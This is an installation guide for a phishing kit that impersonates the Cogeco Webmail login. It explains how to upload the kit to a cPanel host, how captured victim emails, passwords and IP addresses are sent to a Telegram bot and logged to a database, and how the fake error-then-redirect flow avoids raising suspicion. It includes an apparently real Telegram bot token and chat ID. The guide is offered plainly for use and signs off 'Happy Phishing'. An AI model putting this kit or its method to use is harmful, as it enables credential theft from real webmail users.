╔══════════════════════════════════════════════════════════════════════════════╗ ║ sTacy~s3cpr0-Webmail Installation Guide ║ ╚══════════════════════════════════════════════════════════════════════════════╝ 📦 PACKAGE CONTENTS: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1. cogeco.html - Main phishing page (Cogeco Webmail login) 2. result.php - Handles form submissions and sends to Telegram 3. settings.php - Telegram bot configuration 4. db.php - Database handler (SQLite) 5. admin.php - Admin login page 6. dashboard.php - Real-time monitoring dashboard 7. api.php - REST API for live data 8. logout.php - Session cleanup 🚀 CPANEL INSTALLATION STEPS: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ STEP 1: Upload the ZIP File ──────────────────────────── 1. Login to your cPanel 2. Go to "File Manager" 3. Navigate to "public_html" folder (or your domain's root directory) 4. Click "Upload" button 5. Select "gogeco-package.zip" from your computer 6. Wait for upload to complete STEP 2: Extract the ZIP File ───────────────────────────── 1. In File Manager, find "gogeco-package.zip" 2. Right-click on the zip file 3. Select "Extract" 4. Choose "public_html" as extraction path 5. Click "Extract File(s)" 6. Delete the zip file after extraction (optional) STEP 3: Set File Permissions ───────────────────────────── 1. Select the "gogeco" folder (or wherever you extracted) 2. Right-click and select "Change Permissions" 3. Set folder permissions to 755 4. For PHP files, set permissions to 644 5. Make sure the folder is writable for logs.db to be created 🌐 ACCESSING YOUR SETUP: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 📄 PHISHING PAGE (Victim Access): URL: https://yourdomain.com/cogeco.html OR: https://yourdomain.com/gogeco/cogeco.html This is the page you share with targets. 🔐 ADMIN PANEL (Your Access): URL: https://yourdomain.com/admin.php OR: https://yourdomain.com/gogeco/admin.php Login Credentials: ├─ Username: admin └─ Password: admin ⚠️ IMPORTANT: Change these credentials in admin.php after first login! 📊 HOW IT WORKS: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1. Victim visits cogeco.html 2. Enters email and password 3. First attempt → Shows "Invalid credentials" error 4. Second attempt → Redirects to real Cogeco website 5. All data is: ├─ Sent to your Telegram group instantly └─ Stored in SQLite database (logs.db) 6. You see real-time updates in admin dashboard 🔧 TELEGRAM CONFIGURATION: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Current Settings (in settings.php): ├─ Bot Token: 8316485577:AAG2twEf7XwtLiHhTeUbwhe2zk_4VLpMjaQ └─ Chat ID: -4869383908 To Change: 1. Open settings.php in File Manager 2. Click "Edit" 3. Update TELEGRAM_BOT_TOKEN and TELEGRAM_CHAT_ID 4. Save changes 📱 ADMIN DASHBOARD FEATURES: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ✅ Real-time monitoring (updates every 3 seconds) ✅ Statistics cards: ├─ Total Attempts (all time) ├─ Today's Attempts └─ Unique IP Addresses ✅ Live data table showing: ├─ Email addresses captured ├─ Passwords captured ├─ IP addresses ├─ Attempt numbers (1st or 2nd) └─ Timestamps ✅ Color-coded badges for tracking ✅ New entries highlight automatically ✅ Responsive design (works on mobile) ⚠️ IMPORTANT SECURITY NOTES: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1. Change admin credentials immediately after first login 2. Keep admin.php URL private 3. Use HTTPS for your domain 4. Regularly backup logs.db file 5. Monitor your Telegram for instant notifications 6. The database file (logs.db) will be created automatically on first login attempt 🐛 TROUBLESHOOTING: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Problem: "500 Internal Server Error" Solution: Check file permissions (PHP files = 644, folders = 755) Problem: "Database error" Solution: Ensure the folder is writable (755 permissions) Problem: "Not receiving Telegram messages" Solution: Verify bot token and chat ID in settings.php Problem: "Admin panel not loading" Solution: Make sure PHP is enabled on your hosting Problem: "Dashboard shows no data" Solution: Test the phishing page first to generate data 📞 SUPPORT: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ All files are configured and ready to use! Just upload, extract, and access via your domain. Custom Header: X-Powered-By: sTacy~s3cpr0-Webmail ═══════════════════════════════════════════════════════════════════════════════ Happy Phishing! 🎣 ═══════════════════════════════════════════════════════════════════════════════